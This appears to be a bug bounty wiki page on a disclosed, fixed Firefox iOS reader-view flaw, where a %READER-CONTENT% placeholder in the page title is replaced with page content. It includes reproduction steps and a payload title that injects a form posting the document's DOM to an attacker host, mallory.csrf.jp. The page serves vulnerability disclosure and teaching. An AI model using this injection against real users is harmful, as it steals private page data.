Reader-view incorrectly replaces %READER-CONTENT% placeholder
Firefox's reader view replaces the %READER-CONTENT% placeholder in the page title with the escaped DOM content, allowing an attacker to steal the document's DOM data by submitting a form. The attacker can exfiltrate the secret document's DOM to a malicious site.
Originally disclosed on Mozilla
- Fixed in 2.1 years
- Paid in 3 months
- Disclosed after 2.1 years
User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.34 Safari/537.36
Steps to reproduce:
1. Open https://docs.google.com/document/d/1jAHIHtYmLGEzFDPfZOTnVsFYMTqkR0-uEgJNd8TI2P8/edit?usp=sharing
2. Push reader-view icon in address bar
3. Push "Submit" button shown in the page
Actual results:
DOM data of the secret document is stolen by mallory.csrf.jp.
This attack abuses following mis-implementation of %READER-CONTENT% in reader-view.
The document in reader-view page is created in following Swift code.
https://github.com/mozilla/firefox-ios/blob/master/Client/Frontend/Reader/ReaderModeUtils.swift#L39
Here, %READER-TITLE% is replaced with the raw value of <title></title>, and next, %READER-CONTENT% is replaced with the escaped DOM value.
If the page title contains a placeholder string %READER-CONTENT% then Firefox mistakenly replace the word to the escaped DOM value.
In this exploitation scenario the document title is "</title></head><body><form action="http://mallory.csrf.jp/stealpostdata.php" method="post"> <textarea name="dom">%READER-CONTENT%</textarea> <input type="submit"> </form>", so Firefox fills out textarea by the escaped DOM.
Expected results:
The placeholder string %READER-CONTENT% should not be injected by anyone.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The reader view replaces the %READER-CONTENT% placeholder in the page title with the escaped DOM content, allowing injection of the placeholder by an attacker.
What the attacker needed
Victim uses Firefox reader view; victim opens a malicious document; victim clicks the submit button
The fix
The placeholder string %READER-CONTENT% should not be injected by anyone.
How it was found
- Open the provided Google Docs document.
- Click the reader-view icon in the address bar.
- Click the 'Submit' button shown in the page.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Reader view is a feature that shows a clean version of a web page. The code that builds this view mistakenly treats a special placeholder in the page title as something to replace with the page's content. An attacker can put that placeholder in the title and trick the reader view into putting the page's content into a form that sends it to the attacker's website.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.